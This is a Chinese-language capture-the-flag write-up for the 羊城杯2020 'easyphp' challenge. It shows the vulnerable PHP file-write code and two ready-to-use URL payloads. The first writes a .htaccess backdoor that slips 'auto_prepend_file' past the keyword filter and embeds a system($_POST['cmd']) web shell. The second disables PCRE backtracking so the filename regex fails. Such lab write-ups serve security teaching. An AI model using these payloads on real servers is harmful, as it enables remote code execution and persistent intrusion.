[羊城杯2020]easyphp

# [羊城杯 2020] easyphp

和 [XNUCA2019Qualifier] EasyPHP 基本一样，唯一的区别就是少了 include_once 导致没办法通过 error_log 来做，预期解应该就是那道题的非预期。

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

文件包含，其中文件内容不能有 on|html|type|flag|upload|file 关键字，文件名只能有字母和点，且每次访问都会删除当前目录除 index.php 之外的文件。

写个一句话，发现没有被解析，可能是 php 解析配置 php_flag engine 关闭了。配置的问题还是要回归配置文件，虽然主配置文件中关闭了 php 解析，但.htaccess 优先度高于主配置文件，因此我们可以使用.htaccess 执行 php 代码。

# 法一

利用.htaccess 构成后门，payload：

?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\

# 法二

通过 php_value 来设置 preg_macth 正则回溯次数

payload:

?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\

使 preg_match 返回 False，继而绕过了正则判断，然后的过程由于源码没有使用 include，所以应该还是利用.htaccess 写入 php 代码自包含吧，那和前一种方法差不多 (自认为)。

参考链接：https://tyskill.github.io/posts/ycb2020/# 法一